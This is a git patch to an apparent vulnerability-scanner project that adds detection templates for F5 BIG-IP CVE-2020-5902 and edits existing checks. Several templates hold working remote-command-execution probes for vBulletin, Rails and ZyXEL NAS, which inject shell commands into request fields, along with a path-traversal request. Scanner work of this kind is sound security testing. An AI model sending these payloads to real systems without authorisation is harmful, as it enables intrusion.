From df3228766dcfbb286486da9de375845808595fb5 Mon Sep 17 00:00:00 2001
From: "@xer0dayz" <1n3@hushmail.com>
Date: Sun, 5 Jul 2020 09:10:08 -0700
Subject: [PATCH] * v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template *
v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template * v8.6 - Added F5
BIG-IP detection sc0pe template * v8.6 - Added interesting ports sc0pe
template * v8.6 - Added components with known vulnerabilities sc0pe template
* v8.6 - Added server header disclosure sc0pe template * v8.6 - Added SMBv1
enabled sc0pe template * v8.6 - Removed verbose comment from stealth scan
---
CHANGELOG.md | 7 +++++++
...0-Day_Pre-Auth_Remote_Command_Execution.sh | 4 ++--
...-5902_-_F5_BIG-IP_Remote_Code_Execution.sh | 9 ++++++++
...902_-_F5_BIG-IP_Remote_Code_Execution_1.sh | 9 ++++++++
.../active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh | 9 ++++++++
...163_-_Rails_5.0.1_Remote_Code_Execution.sh | 4 ++--
...-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh | 4 ++--
templates/active/F5_BIG-IP_Scanner.sh | 9 ++++++++
templates/active/F5_BIG-IP_Scanner_2.sh | 9 ++++++++
.../Fortigate_Pulse_Connect_Secure_Scanner.sh | 2 +-
.../Component_With_Known_Vulnerabilities_1.sh | 8 +++++++
.../Component_With_Known_Vulnerabilities_2.sh | 8 +++++++
templates/passive/SMBv1_Enabled.sh | 8 +++++++
templates/passive/Server_Header_Disclosure.sh | 19 +++++++++++++++++
.../recursive/Interesting_Ports_Found.sh | 21 +++++++++++++++++++
15 files changed, 123 insertions(+), 7 deletions(-)
create mode 100644 templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution.sh
create mode 100644 templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_1.sh
create mode 100644 templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
create mode 100644 templates/active/F5_BIG-IP_Scanner.sh
create mode 100644 templates/active/F5_BIG-IP_Scanner_2.sh
create mode 100644 templates/passive/Component_With_Known_Vulnerabilities_1.sh
create mode 100644 templates/passive/Component_With_Known_Vulnerabilities_2.sh
create mode 100644 templates/passive/SMBv1_Enabled.sh
create mode 100644 templates/passive/Server_Header_Disclosure.sh
create mode 100644 templates/passive/recursive/Interesting_Ports_Found.sh
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 3e92c28..a33fd50 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,4 +1,11 @@
## CHANGELOG:
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template
+* v8.6 - Added F5 BIG-IP detection sc0pe template
+* v8.6 - Added interesting ports sc0pe template
+* v8.6 - Added components with known vulnerabilities sc0pe template
+* v8.6 - Added server header disclosure sc0pe template
+* v8.6 - Added SMBv1 enabled sc0pe template
* v8.6 - Removed verbose comment from stealth scan
* v8.5 - Added manual installer for Metasploit
* v8.5 - Added Phantomjs manual installer
diff --git a/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh b/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh
index f4fdf8b..05fc5a5 100644
--- a/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh
+++ b/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh
@@ -2,8 +2,8 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution'
URI='/'
METHOD='POST'
-MATCH='1337'
+MATCH='1787569'
SEVERITY='P1 - CRITICAL'
-CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1336))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
+CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1787568))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution.sh b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution.sh
new file mode 100644
index 0000000..7b444c2
--- /dev/null
+++ b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP Remote Code Execution'
+URI='/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
+METHOD='GET'
+MATCH='divGeneralRemoteSettingsTable'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_1.sh b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_1.sh
new file mode 100644
index 0000000..ef57ad8
--- /dev/null
+++ b/templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_1.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP Remote Code Execution 1'
+URI='/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
+METHOD='GET'
+MATCH='divGeneralRemoteSettingsTable'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh b/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
new file mode 100644
index 0000000..72515b6
--- /dev/null
+++ b/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP XSS'
+URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=INJECTX'
+METHOD='GET'
+MATCH='INJECTX'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh b/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh
index 62d1935..4ee7f85 100644
--- a/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh
+++ b/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh
@@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8163 - Rails < 5.0.1 Remote Code Execution'
-URI='/?system(%27echo+$((1%2B1336))%27)%3ba%23'
+URI='/?system(%27echo+$((1%2B1787568))%27)%3ba%23'
METHOD='GET'
-MATCH="1337"
+MATCH="1787569"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh b/templates/active/CVE-2020-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh
index 76798e5..e29c68b 100644
--- a/templates/active/CVE-2020-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh
+++ b/templates/active/CVE-2020-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh
@@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-9054 - ZyXEL NAS Remote Code Execution'
-URI="/cgi-bin/weblogin.cgi?username=admin';echo \$((1+1336))"
+URI="/cgi-bin/weblogin.cgi?username=admin';echo \$((1+1787568))"
METHOD='GET'
-MATCH="1337"
+MATCH="1787569"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s --insecure"
SECONDARY_COMMANDS=''
diff --git a/templates/active/F5_BIG-IP_Scanner.sh b/templates/active/F5_BIG-IP_Scanner.sh
new file mode 100644
index 0000000..5680582
--- /dev/null
+++ b/templates/active/F5_BIG-IP_Scanner.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='F5 BIG-IP Detected'
+URI='/'
+METHOD='GET'
+MATCH='F5 BIG-IP'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/F5_BIG-IP_Scanner_2.sh b/templates/active/F5_BIG-IP_Scanner_2.sh
new file mode 100644
index 0000000..3764dfe
--- /dev/null
+++ b/templates/active/F5_BIG-IP_Scanner_2.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='F5 BIG-IP Detected 2'
+URI='/tmui/login.jsp'
+METHOD='GET'
+MATCH='<title>F5 BIG-IP'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/Fortigate_Pulse_Connect_Secure_Scanner.sh b/templates/active/Fortigate_Pulse_Connect_Secure_Scanner.sh
index bee8245..7d51970 100644
--- a/templates/active/Fortigate_Pulse_Connect_Secure_Scanner.sh
+++ b/templates/active/Fortigate_Pulse_Connect_Secure_Scanner.sh
@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Fortigate Pulse Connect Secure Detected'
URI='/remote/login?lang=en'
METHOD='GET'
-MATCH="<title>Please Login"
+MATCH='Please Login'
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
diff --git a/templates/passive/Component_With_Known_Vulnerabilities_1.sh b/templates/passive/Component_With_Known_Vulnerabilities_1.sh
new file mode 100644
index 0000000..3a732d0
--- /dev/null
+++ b/templates/passive/Component_With_Known_Vulnerabilities_1.sh
@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Component With Known Vulnerabilities'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt"
+MATCH="CVE\-"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Component_With_Known_Vulnerabilities_2.sh b/templates/passive/Component_With_Known_Vulnerabilities_2.sh
new file mode 100644
index 0000000..3c962ba
--- /dev/null
+++ b/templates/passive/Component_With_Known_Vulnerabilities_2.sh
@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Component With Known Vulnerabilities 2'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="CVE\-"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/SMBv1_Enabled.sh b/templates/passive/SMBv1_Enabled.sh
new file mode 100644
index 0000000..6a9768f
--- /dev/null
+++ b/templates/passive/SMBv1_Enabled.sh
@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='SMBv1 Enabled'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="SMBv1"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Server_Header_Disclosure.sh b/templates/passive/Server_Header_Disclosure.sh
new file mode 100644
index 0000000..7b0d3aa
--- /dev/null
+++ b/templates/passive/Server_Header_Disclosure.sh
@@ -0,0 +1,19 @@
+if [ "$SSL" = "false" ]; then
+ AUTHOR='@xer0dayz'
+ VULN_NAME='Server Header Disclosure - HTTP'
+ FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
+ MATCH="Server\:"
+ SEVERITY='P4 - LOW'
+ GREP_OPTIONS='-i'
+ SEARCH='positive'
+ SECONDARY_COMMANDS=''
+else
+ AUTHOR='@xer0dayz'
+ VULN_NAME='Server Header Disclosure - HTTPS'
+ FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
+ MATCH="Server\:"
+ SEVERITY='P4 - LOW'
+ GREP_OPTIONS='-i'
+ SEARCH='positive'
+ SECONDARY_COMMANDS=''
+fi
\ No newline at end of file
diff --git a/templates/passive/recursive/Interesting_Ports_Found.sh b/templates/passive/recursive/Interesting_Ports_Found.sh
new file mode 100644
index 0000000..38b3f32
--- /dev/null
+++ b/templates/passive/recursive/Interesting_Ports_Found.sh
@@ -0,0 +1,21 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Ports Found'
+FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
+MATCH='80|443'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-iv'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+
+rm -f /tmp/match.out 2> /dev/null
+
+for line in `cat $FILENAME 2> /dev/null`; do
+ echo $line
+ OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+ if [[ "$SEARCH" == "negative" ]]; then
+ cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
+ else
+ cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
+ fi
+ rm -f /tmp/match.out 2> /dev/null
+done
\ No newline at end of file